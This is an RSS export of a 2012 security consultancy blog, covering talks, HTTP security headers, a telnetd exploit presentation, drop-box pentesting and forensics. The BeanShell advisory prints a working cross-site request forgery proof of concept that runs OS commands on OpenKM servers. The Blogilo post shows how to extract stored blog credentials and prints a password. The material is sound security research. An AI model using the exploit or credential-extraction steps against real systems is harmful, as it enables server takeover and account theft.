<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Compass Security Blog</title>
	<atom:link href="http://blog.csnc.ch/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.csnc.ch</link>
	<description>A Blog about Information Security...</description>
	<lastBuildDate>Fri, 17 Feb 2012 16:20:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Nächster Compass BeerTalk am Donnerstag 01.03.2012</title>
		<link>http://blog.csnc.ch/2012/02/beertalk/</link>
		<comments>http://blog.csnc.ch/2012/02/beertalk/#comments</comments>
		<pubDate>Fri, 17 Feb 2012 16:20:51 +0000</pubDate>
		<dc:creator>Philipp Oesch</dc:creator>
				<category><![CDATA[Talk]]></category>
		<category><![CDATA[Web Application]]></category>
		<category><![CDATA[Live Hacking Demo]]></category>
		<category><![CDATA[New HTTP Headers]]></category>
		<category><![CDATA[OGNL]]></category>
		<category><![CDATA[Remote Code Execution]]></category>
		<category><![CDATA[Struts]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=182</guid>
		<description><![CDATA[Am 1. März 2012 ist es wieder so weit, wir führen den ersten BeerTalk im Jahr 2012 zum Thema Advanced Web Security durch. Das weit verbreitete Struts Framework war im letzten halben Jahr immer wieder auf Remote Code Execution verwundbar, &#8230; <a href="http://blog.csnc.ch/2012/02/beertalk/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Am 1. März 2012 ist es wieder so weit, wir führen den ersten BeerTalk im Jahr 2012 zum Thema Advanced Web Security durch.</p>
<p>Das weit verbreitete Struts Framework war im letzten halben Jahr immer wieder auf Remote Code Execution verwundbar, was Angreifern erlaubte, ganze Systeme zu kompromittieren. <a href="http://www.csnc.ch/de/profil/portraits/philipp-oesch.html" target="_blank">Philipp Oesch</a>, Leiter Software Entwicklung bei der Compass Security, hat diese <a href="http://struts.apache.org/2.2.1/docs/security-bulletins.html" target="_blank">Schwachstellen</a> untersucht und wird am BeerTalk vom 1. März zwei Live Hacking Demos durchführen. Dabei wird ein Applikations- und Datenbank-Server komplett übernommen.</p>
<p>Interessant zu wissen, dieser Angriff funktioniert noch immer bei vielen Anwendungen &#8211; Konkret, bei allen Struts 2 Anwendungen die seit dem <a href="http://struts.apache.org/2.x/docs/s2-009.html" target="_blank">22.01.2012</a> noch nicht gepatcht wurden!</p>
<p>Inhalt des BeerTalks:</p>
<ul>
<li>Aufzeigen von Bedrohungen in komplexen &amp; heterogenen Infrastrukturen</li>
<li>Welche neuen Security Herausforderungen stellen sich für die Entwickler?</li>
<li>Welche Risiken werden oft vergessen?</li>
<li>Neue HTTP Headers</li>
<li>Welche Risiken bringen OpenSource und Frameworks (Struts, JSF, Spring, ..) mit sich?</li>
<li>Welche Massnahmen können getroffen werden um das Risiko einzudämmen?</li>
</ul>
<p>1. Live Hacking Demonstration:</p>
<ul>
<li>Übernahme eines Applikations-Servers durch eine Remote Code Execution Vulnerability</li>
<li>Der Angriff funktioniert bei allen Struts 2 Anwendungen die seit  dem <a href="http://struts.apache.org/2.x/docs/s2-009.html" target="_blank">22.1.2012</a> nicht gepatched wurden (<a href="http://struts.apache.org/2.x/docs/s2-009.html" target="_blank">Struts 2.0.0 &#8211; Struts 2.3.1.1</a>)!</li>
</ul>
<p>2. Live Hacking Demonstration:</p>
<ul>
<li>Übernahme eines Datenbank-Servers durch eine kombinierte Web-Attacke (XXE &amp; MySQL UDF), inklusive Reverse Shell</li>
<li>Die Demo zeigt Step-by-Step wie ein Angreifer vorgeht um eine Reverse Shell zu erhalten</li>
</ul>
<p>Kommen Sie vorbei, geniessen Sie den Vortrag und anschliessend ein Steak oder eine Wurst vom Grill mit einem kühlen Bier!</p>
<p><a href="http://media.hacking-lab.com/biertalk/201203-advanced-web-security-oesch.pdf" target="_blank">Wir freuen uns auf Ihre Anmeldung bis zum 29. Februar.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/02/beertalk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Security Enhancing HTTP Headers</title>
		<link>http://blog.csnc.ch/2012/01/new-http-headers/</link>
		<comments>http://blog.csnc.ch/2012/01/new-http-headers/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 13:32:00 +0000</pubDate>
		<dc:creator>Alexandre Herzog</dc:creator>
				<category><![CDATA[Web Application]]></category>
		<category><![CDATA[Access-Control-Allow-Origin]]></category>
		<category><![CDATA[HSTS]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[http header]]></category>
		<category><![CDATA[post-XSS world]]></category>
		<category><![CDATA[security headers]]></category>
		<category><![CDATA[Strict-Transport-Security]]></category>
		<category><![CDATA[web application]]></category>
		<category><![CDATA[X-Content-Security-Policy]]></category>
		<category><![CDATA[X-Frame-Options]]></category>
		<category><![CDATA[X-XSS-Protection]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=115</guid>
		<description><![CDATA[In the past few years, several new HTTP Headers have been proposed to increase the security of web applications. This is being done by providing additional instructions and information about the served application to the browser. Those can mitigate and &#8230; <a href="http://blog.csnc.ch/2012/01/new-http-headers/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div>In the past few years, several new <a title="List of HTTP header fields" href="http://en.wikipedia.org/wiki/List_of_HTTP_header_fields" target="_blank">HTTP Headers</a> have been proposed to increase the security of web applications. This is being done by providing additional instructions and information about the served application to the browser. Those can mitigate and avert various common web attacks, even if the underlying application contains vulnerabilities, therefore adding another layer of defense.</div>
<div>As time passes, more and more people do use a browser which support those measures. Compass Security has long been testing for these security enhancing features, and is actively advocate their implementation. Therefore we release an presentation which we used to educate employees and customers alike about this topic.</div>
<p>&nbsp;</p>
<div><a href="http://blog.csnc.ch/wp-content/uploads/2012/01/New-HTTP-headers-and-living-in-a-POST-XSS-world-blog-version.pdf">The presentation &#8220;New HTTP headers &#8211; and living in a POST-XSS world&#8221;</a> aims to give quick overview, and answers to all of the questions below:</div>
<ul>
<li>What are the new HTTP headers you can use to protect your web application?</li>
<li>Why should I force <em>mode=block</em> for the X-XSS-Protection header?</li>
<li>How tightly can I configure a X-Content-Security-Policy?</li>
<li>What is the purpose of the Strict-Transport-Security header?</li>
<li>How does <a href="http://code.google.com/p/seecurityheaders/downloads/list">Stefano Di Paola&#8217;s Firefox SeecurityHeaders extension</a> look like?</li>
<li>Let&#8217;s dream of a world where browsers are smart enough to prevent execution of arbitrary JavaScript code via XSS &#8211; <a href="http://lcamtuf.coredump.cx/postxss/">what options would be left</a>?</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/01/new-http-headers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ISSS St.Galler Tagung 2012 &#8211; iPhone (In)Security in an Enterprise env</title>
		<link>http://blog.csnc.ch/2012/01/isss-st-galler-tagung-2012-iphone-insecurity-in-an-enterprise-env/</link>
		<comments>http://blog.csnc.ch/2012/01/isss-st-galler-tagung-2012-iphone-insecurity-in-an-enterprise-env/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 18:20:21 +0000</pubDate>
		<dc:creator>Ivan Buetler</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Good Technologies]]></category>
		<category><![CDATA[iphone security]]></category>
		<category><![CDATA[mdm]]></category>
		<category><![CDATA[MobileIron]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=176</guid>
		<description><![CDATA[Ivan Bütler, CEO of Compass Security and board member of ISSS is proud to announce the third ISSS St.Galler Tagung next March 28, 2012 in Saint Gall. Don&#8217;t miss this event, where we dig into iPhone security. First, Riccardo Trombini &#8230; <a href="http://blog.csnc.ch/2012/01/isss-st-galler-tagung-2012-iphone-insecurity-in-an-enterprise-env/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ivan Bütler, CEO of Compass Security and board member of ISSS is proud to announce the third ISSS St.Galler Tagung next March 28, 2012 in Saint Gall. </p>
<p>Don&#8217;t miss this event, where we dig into iPhone security. First, Riccardo Trombini will introduce the threats; a MobileIron and Goods Technology expert answers with the appropriate remedy. Finally we will discuss it in the podium discussion!</p>
<p>The event is recommended for all people currently evaluating an MDM (mobile device management) solution and become familiar with the pros and cons of Good and MobileIron. </p>
<p>Checkout the ISSS flyer</p>
<p>https://www.isss.ch/fileadmin/events/2012/StGallerTagung/ISSS-St-Galler-Tagung-2012-Flyer.pdf</p>
<p>ISSS website<br />
* https://www.isss.ch/veranstaltungen/2012/st-galler-tagung/</p>
<p>direct link<br />
* https://www.isss.ch/veranstaltungen/2012/st-galler-tagung/anmeldung/</p>
<p>Have a save day<br />
Ivan Bütler<br />
E1</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/01/isss-st-galler-tagung-2012-iphone-insecurity-in-an-enterprise-env/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BeanShell puts Java Application Servers at Risk</title>
		<link>http://blog.csnc.ch/2012/01/beanshell-puts-java-application-servers-at-risk/</link>
		<comments>http://blog.csnc.ch/2012/01/beanshell-puts-java-application-servers-at-risk/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 06:22:00 +0000</pubDate>
		<dc:creator>Cyrill Brunschwiler</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[Web Application]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[beanshell]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jvm]]></category>
		<category><![CDATA[openkm]]></category>
		<category><![CDATA[PoC]]></category>
		<category><![CDATA[runtime]]></category>
		<category><![CDATA[xsrf]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=156</guid>
		<description><![CDATA[Developers increasingly integrate BeanShell support into web applications to provide end users and administrators with a simple extension framework. But be warned! BeanShell support without appropriate access control will put the hosting web server at severe risk. An attacker could easily execute operating system &#8230; <a href="http://blog.csnc.ch/2012/01/beanshell-puts-java-application-servers-at-risk/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Developers increasingly integrate BeanShell support into web applications to provide end users and administrators with a simple extension framework. But be warned! BeanShell support without appropriate access control will put the hosting web server at severe risk. An attacker could easily execute operating system calls and without appropriate system hardening such an attack will immediately result in full system compromise.</p>
<p>The BeanShell[1] is an environment that provides execution of Java code snippets in the web application context. The shell supports full Java language syntax and some loose structures for convenience. Be aware, to run code within an Java Virtual Machine (JVM) means to run code on the server. The following screenshot shows BeanShell enabled web application that just run a hello world command.</p>
<p><img src="http://blog.csnc.ch/wp-content/uploads/2012/01/1327559844079.png" alt="" /></p>
<p>However, to be able to do some meaningful attacks one must first overcome and understand some limitations of the Java Runtime.getRuntime().exec() method. Simply putting a whole command into the exec method will not run properly since Java will internally tokenize the String and redirect IO streams. The first argument will be taken as executable. All remaining tokens will be passed as parameters to the executable. Thus, the below statement will not work as intended because the &#8220;-c&#8221; parameter awaits a single argument.</p>
<p><code> Runtime.getRuntime().exec("/bin/sh -c /bin/echo pwned &gt; /tmp/poc"};<br />
</code></p>
<p>Following that, command injection in Java is a difficult thing to do since the attacker mostly just gains control over the parameters. However, in BeanShell we are pretty free to choose from the whole arsenal of Java API classes and methods. Finally, a correct call would look like:</p>
<p><code> String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned &gt; /tmp/poc"};<br />
Runtime.getRuntime().exec(cmd);<br />
</code></p>
<p>That way, Java will pass &#8220;/bin/echo pwned &gt; /tmp/poc&#8221; correctly. Unfortunately, there is another limitation on the IO streams. Thus, to read and process the output of a command the InputStream classes will be needed. The following snippet is a working example with the Unix list directory (ls) command.</p>
<p><code> import java.io.*;</code></p>
<p>&nbsp;</p>
<p><code>try {<br />
Process ls_proc = Runtime.getRuntime().exec("/bin/ls -lah");<br />
DataInputStream ls_in = new DataInputStream(ls_proc.getInputStream());<br />
String ls_str;</code></p>
<p><code>   while ((ls_str = ls_in.readLine()) != null)<br />
print(ls_str + " ");<br />
</code></p>
<p><code>} catch (IOException e) {<br />
}<br />
</code></p>
<p>So, you might be asking yourself how this ex-course on the Runtime class&#8217;s exec method is related to BeanShell support in web applications?</p>
<p>I have published an advisory[3] on insufficient access control of an integrated BeanShell in an Enterprise Java (J2EE) based document management system software (OpenKM). An attacker could prepare en evil e-mail or website that runs a malicious command on the server if the OpenKM administrator clicks on the link or visits the prepared website.</p>
<p>For example, an attacker would simply embed the below JavaScript exploit code into a web page to cause writing a proof of concept file into the /tmp folder.</p>
<p><code> img = new Image();<br />
img.src="http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"<br />
</code></p>
<p>Related vulnerabilities are often seen in administrative interfaces of web apps. The attack scheme is also known as Cross-site Request Forgery or XSRF[4]. There are several ways to approach the issue. Either ensure proper access controls[5] or lock down the JVM using Java security policies and the Security Manager[6]. In the end, system hardening may help limiting collateral damage in case of successful attacks.</p>
<p>References<br />
[1] <a href="http://www.beanshell.org/">http://www.beanshell.org/</a><br />
[2] <a href="http://www.ensta-paristech.fr/~diam/java/online/io/javazine.html">http://www.ensta-paristech.fr/~diam/java/online/io/javazine.html</a><br />
[3] <a href="http://www.csnc.ch/misc/files/advisories/COMPASS-2012-002_openkm_xsrf_os_command_execution.txt">http://www.csnc.ch/misc/files/advisories/COMPASS-2012-002_openkm_xsrf_os_command_execution.txt</a><br />
[4] <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29</a><br />
[5] <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet">https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet</a><br />
[6] <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html">http://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/01/beanshell-puts-java-application-servers-at-risk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Retrospective about cache snooping</title>
		<link>http://blog.csnc.ch/2012/01/retrospective-about-cache-snooping/</link>
		<comments>http://blog.csnc.ch/2012/01/retrospective-about-cache-snooping/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 16:07:00 +0000</pubDate>
		<dc:creator>Alexandre Herzog</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[Web Application]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[cache snooping]]></category>
		<category><![CDATA[cache timing]]></category>
		<category><![CDATA[css :visited]]></category>
		<category><![CDATA[getComputedStyle]]></category>
		<category><![CDATA[lcamtuf]]></category>
		<category><![CDATA[PoC]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[Same Origin Policy]]></category>
		<category><![CDATA[SOP]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=108</guid>
		<description><![CDATA[As it is known since at least 2006, a website is able to identify the domains a user previously visited, with some simple CSS hacks. This had great privacy implications, and browsers took steps to eliminate this problem. But in &#8230; <a href="http://blog.csnc.ch/2012/01/retrospective-about-cache-snooping/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>As it is known since at least 2006, a website is able to identify the domains a user previously visited, with some simple CSS hacks. This had great privacy implications, and browsers took steps to eliminate this problem. But in December 2011, lcamtuf presented a new <a href="http://lcamtuf.blogspot.com/2011/12/css-visited-may-be-bit-overrated.html">proof of concept based on cache timings</a>, which basically does the same thing. This new technique uses JavaScript and the caching behavior of previously loaded resources to identify visited domains.</p>
<p>This vulnerability is not something a penetration test will identify, as it is purely a client side problem. Nevertheless it is a interesting topic as it exposes fundamental flaws in browser technology concerning privacy and which can&#8217;t be patched easily. It is similar to side-channel attacks in crypto systems, and the fix inherently reduces performance.</p>
<p><a href="http://blog.csnc.ch/wp-content/uploads/2012/01/CSS-visited-or-now-Browser-Cache-Timing-blog-version.pdf">The attached presentation &#8220;CSS -visited &#8211; or now Browser Cache Timing&#8221;</a> gives an overview of the history around this issue and how the proof of concept of 2006, respectively December 2011 work.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/01/retrospective-about-cache-snooping/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Research über die Netkit-Telnetd Schwachstelle</title>
		<link>http://blog.csnc.ch/2012/01/research-uber-die-netkit-telnetd-schwachstelle/</link>
		<comments>http://blog.csnc.ch/2012/01/research-uber-die-netkit-telnetd-schwachstelle/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 10:07:00 +0000</pubDate>
		<dc:creator>Dobin Rutishauser</dc:creator>
				<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[german]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=71</guid>
		<description><![CDATA[Als ich nach den &#252;blichen Weihnachtsfesten auf Twitter die neusten Sicherheitsmeldungen &#252;berflog, bin ich auf einen interessanten Blog Eintrag gestossen: A Textbook Buffer Overflow: A Look at the FreeBSD telnetd Code. Der Author beschreibt eine Buffer Overflow L&#252;cke im Netkit &#8230; <a href="http://blog.csnc.ch/2012/01/research-uber-die-netkit-telnetd-schwachstelle/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Als ich nach den &uuml;blichen Weihnachtsfesten auf <a title="dobinrutis following" href="https://twitter.com/#!/dobinrutis/following" target="_blank">Twitter</a> die neusten Sicherheitsmeldungen &uuml;berflog, bin ich auf einen interessanten Blog Eintrag gestossen:<br />
 <a title="A Textbook Buffer Overflow: A Look at the FreeBSD telnetd Code" href="http://thexploit.com/secdev/a-textbook-buffer-overflow-a-look-at-the-freebsd-telnetd-code/" target="_blank">A Textbook Buffer Overflow: A Look at the FreeBSD telnetd Code</a>.<br />
 Der Author beschreibt eine Buffer Overflow L&uuml;cke im Netkit Telnet Daemon, der im <a title="FreeBSD Website" href="http://www.freebsd.org" target="_blank">FreeBSD</a>&nbsp;Betriebssystem&nbsp;verwendet wird. Die Schwachstelle wurde Zwei Tage vorher, am 23.12.2011 ver&ouml;ffentlicht. Details dazu gibt es in&nbsp;<a title="CVS-2011-4862" href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4862" target="_blank">CVE-2011-4862</a>. Um die Schwachstelle auszuf&uuml;hren ist kein Benutzeraccount n&ouml;tig, sie ist einfach auszun&uuml;tzen und ergibt bei einem erfolgreichen Exploit sofort Root Zugang.&nbsp;Zus&auml;tzlich verwendet FreeBSD keine der Standard Schutzmechanismen wie <a title="ASLR in Wikipedia" href="http://de.wikipedia.org/wiki/Address_Space_Layout_Randomization" target="_blank">ASLR</a> und <a title="Wikipedia &uuml;ber DEP" href="http://de.wikipedia.org/wiki/Data_Execution_Prevention" target="_blank">DEP</a>.</p>
<p><a href="http://blog.csnc.ch/wp-content/uploads/2012/01/fasd.png"><img class="aligncenter size-full wp-image-96" title="Screenshot Telnetd Vulnerability" src="http://blog.csnc.ch/wp-content/uploads/2012/01/fasd.png" alt="" width="1206" height="446" /></a></p>
<p>All diese Tatsachen verf&uuml;hrten mich dazu, mehr Zeit in dieses Thema zu investieren. Zwei Tage sp&auml;ter hatte ich einen funktionsf&auml;higen Exploit f&uuml;r das&nbsp;<a title="Metasploit Exploitation Framework" href="http://metasploit.com/" target="_blank">Metasploit</a>&nbsp;Framework entwickelt. Die Erfahrungen die ich dabei machte habe ich in einer Pr&auml;sentation zusammengefasst, die ich dann meinen Compass Arbeitskollegen vorgetragen habe. Darin enthalten ist die Analyse des Fehlerhaften Codes, worauf eine kurze Abhandlung des Telnet Protokolls folgt. Mit diesem Vorwissen bewaffnet werden&nbsp;die einzelnen Stufen des Exploits detailliert erkl&auml;rt, mit&nbsp;Veranschaulichung&nbsp;durch Aufnahmen des Netzwerkverkehrs, grafische Darstellung von Datenstrukturen im Telnet Deamon und Details aus dem Metasploit Modul. Abschliessend sind noch typische Anti-Exploiting Mechanismen vorgestellt, und wie es m&ouml;glich ist diese zu umgehen.</p>
<p>Die Pr&auml;sentation kann unter diesem Link heruntergeladen werden:</p>
<ul>
<li><a title="CSNC Telnetd Vulnerability Presentation" href="http://blog.csnc.ch/wp-content/uploads/2012/01/csnc-telnetd-exploit-presi-public.pdf">csnc-telnetd-vulnerability.pdf</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/01/research-uber-die-netkit-telnetd-schwachstelle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simulated Industrial Espionage with the Pwnie Express Device</title>
		<link>http://blog.csnc.ch/2012/01/simulated-industrial-espionage-with-the-pwnie-express-device/</link>
		<comments>http://blog.csnc.ch/2012/01/simulated-industrial-espionage-with-the-pwnie-express-device/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 16:36:00 +0000</pubDate>
		<dc:creator>Sascha Herzog</dc:creator>
				<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Backdoor]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Physical Attacks]]></category>
		<category><![CDATA[Physical Security]]></category>
		<category><![CDATA[Pwn Plug]]></category>
		<category><![CDATA[Pwnie Express]]></category>
		<category><![CDATA[Reverse SSH]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Tunnel]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=73</guid>
		<description><![CDATA[The Pwnie Express is a device that is designed for remote security testing of corporate and federal facilities and can be used as an &#8220;All-In-One&#8221; hacking drop box, aiding the pentesters at Compass Security, to conduct &#8220;real world&#8221; industrial espionage &#8230; <a href="http://blog.csnc.ch/2012/01/simulated-industrial-espionage-with-the-pwnie-express-device/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The Pwnie Express is a device that is designed for remote security testing of corporate and federal facilities and can be used as an &#8220;All-In-One&#8221; hacking drop box, aiding the pentesters at Compass Security, to conduct &#8220;real world&#8221; industrial espionage simulations.</p>
<p><img src="http://blog.csnc.ch/wp-content/uploads/2012/01/elite.png" alt="null" /><br />
 <a title="Pwnie Homepage" href="http://pwnieexpress.com/" target="_blank">http://pwnieexpress.com/</a></p>
<p>The typical penetration testing scenario is:<br />
 1) A Compass analyst manages to &#8220;social-engineer&#8221; his way into the premises of the customer, who ordered the penetration test.<br />
 2) As soon as the analyst finds an unprotected network plug, printer, WiFi network or unprotected computer, he connects the Pwnie Express device to it.<br />
 3) The preconfigured Pwn Plug uses extremely aggressive reverse tunneling mechanisms to establish a reverse connection (SSH, SSL, HTTP, ICMP, DNS, 3G) back to the compass C&amp;C (command and control) server.<br />
 4) From this server the analyst at Compass is able to penetrate the internal network of the customer, as if he is on site.</p>
<p>All in all a very useful little tool that shows possible impacts of missing user awareness or inadequately secured premises to our customers.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/01/simulated-industrial-espionage-with-the-pwnie-express-device/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blogilo Forensics</title>
		<link>http://blog.csnc.ch/2012/01/blogilo-forensics/</link>
		<comments>http://blog.csnc.ch/2012/01/blogilo-forensics/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 09:09:00 +0000</pubDate>
		<dc:creator>Cyrill Brunschwiler</dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[blog client]]></category>
		<category><![CDATA[blogilo]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=62</guid>
		<description><![CDATA[The analysis of Social Media apps gets more and more weight as these applications gain momentum with end users. Thus, forensic analysts must not only understand how to grab files and content from a suspects computer but also from its &#8230; <a href="http://blog.csnc.ch/2012/01/blogilo-forensics/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The analysis of Social Media apps gets more and more weight as these applications gain momentum with end users. Thus, forensic analysts must not only understand how to grab files and content from a suspects computer but also from its online services (not to use the damn Cloud word). Therefore, it is crucial to understand the full functionality of online Social Media applications since not only publicly published contents but also hidden and drafted files may be of interest to investigatory entities.</p>
<p>In the end, investigators would need to understand how to recover passwords from supporting desktop software such as blog client programs. This article should point out on how to recover user accounts and passwords from the well used Blogilo KDE (Linux) blog client software.</p>
<p><img src="http://blog.csnc.ch/wp-content/uploads/2012/01/1326098882808.png" alt="" /></p>
<p>All KDE applications configuration files are stored within the user home ~/.kde/share/apps folder. Blogilo does store its configuration within that path as well.</p>
<pre>cbrunsch@tubarao:~$ ls -laR .kde/share/apps/blogilo/
.kde/share/apps/blogilo/:
total 92
drwx------  4 cbrunsch cbrunsch  4096 2012-01-06 08:21 .
drwx------ 11 cbrunsch cbrunsch  4096 2011-12-29 16:10 ..
drwx------  2 cbrunsch cbrunsch  4096 2012-01-02 23:03 1
drwx------  2 cbrunsch cbrunsch  4096 2011-12-28 17:10 -1
-rw-r--r--  1 cbrunsch cbrunsch 62464 2012-01-06 08:21 blogilo.db

.kde/share/apps/blogilo/1:
total 48
drwx------ 2 cbrunsch cbrunsch  4096 2012-01-02 23:03 .
drwx------ 4 cbrunsch cbrunsch  4096 2012-01-06 08:21 ..
-rw-rw-r-- 1 cbrunsch cbrunsch 29586 2012-01-02 23:03 style.html

.kde/share/apps/blogilo/-1:
total 8
drwx------ 2 cbrunsch cbrunsch 4096 2011-12-28 17:10 .
drwx------ 4 cbrunsch cbrunsch 4096 2012-01-06 08:21 ..</pre>
<p>Actually, the file of interest is the blogilo.db file. Let&#8217;s see whether we can read the accounts directly from that file.</p>
<p><img src="http://blog.csnc.ch/wp-content/uploads/2012/01/1326099953631.png" alt="" /></p>
<p>We could try to guess from the output what the username and password might be. However, there is also some more binary content. Thus, let&#8217;s have a closer look.</p>
<pre>cbrunsch@tubarao:~/.kde/share/apps/blogilo$ file blogilo.db
blogilo.db: SQLite 3.x database</pre>
<p>The file command reports an SQLite database. To store the configuration of applications within the file based SQLite format is becoming very popular. Also Firefox does store passwords and history information within databases of the SQLite format. Luckily, these files could be queried very conveniently using an SQLite client. The schema information of that specific Blogilo database can be queried from the sqlite_master table contained within the same file. The schema does also contain information on existing tables.</p>
<pre>cbrunsch@tubarao:~/.kde/share/apps/blogilo$ sqlite3 blogilo.db
SQLite version 3.7.9 2011-11-01 00:52:41
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite&gt; select name from sqlite_master where type="table";
blog
post
comment
category
file
post_cat
post_file
local_post
local_post_cat
temp_post
temp_post_cat
sqlite&gt; select * from blog;
1|30925834|https://cybrs.wordpress.com/xmlrpc.php|cybrs123|Ult1mate.PW!|http://cybrs.wordpress.com/|3|CYBR's Blog|0||
sqlite&gt;</pre>
<p>Here we go. For each configured blog, there will be an entry within the blog table. Each of the records will contain the XML-RPC interface URL as well as the username and password of the blog account. That logon information will also grant access on the online service and would allow to seize hidden and drafted evidence.</p>
<p>NOTE: You must install the SQLite version 3.x client otherwise you won&#8217;t be able to query the file.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/01/blogilo-forensics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tech-Talk am Watchguard Event</title>
		<link>http://blog.csnc.ch/2012/01/tech-talk-am-watchguard-event/</link>
		<comments>http://blog.csnc.ch/2012/01/tech-talk-am-watchguard-event/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 07:50:00 +0000</pubDate>
		<dc:creator>Ivan Buetler</dc:creator>
				<category><![CDATA[Talk]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=54</guid>
		<description><![CDATA[Manfred Huber ist beim Sicherheitsspezialisten WatchGuard Technologies als Territory-Sales-Manager neu unter anderem zust&#228;ndig f&#252;r die Betreuung und den Ausbau des Schweizer Partnernetzwerks. http://www.it-markt.ch/News/2012/01/03/Watchguard-mit-neuem-Territory-Sales-Manager.aspx Erste Partnerkonferenz Den ersten &#246;ffentlichen Auftritt in seiner neuen Funktion d&#252;rfte Huber im Rahmen der erstmalig stattfindenden &#8230; <a href="http://blog.csnc.ch/2012/01/tech-talk-am-watchguard-event/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
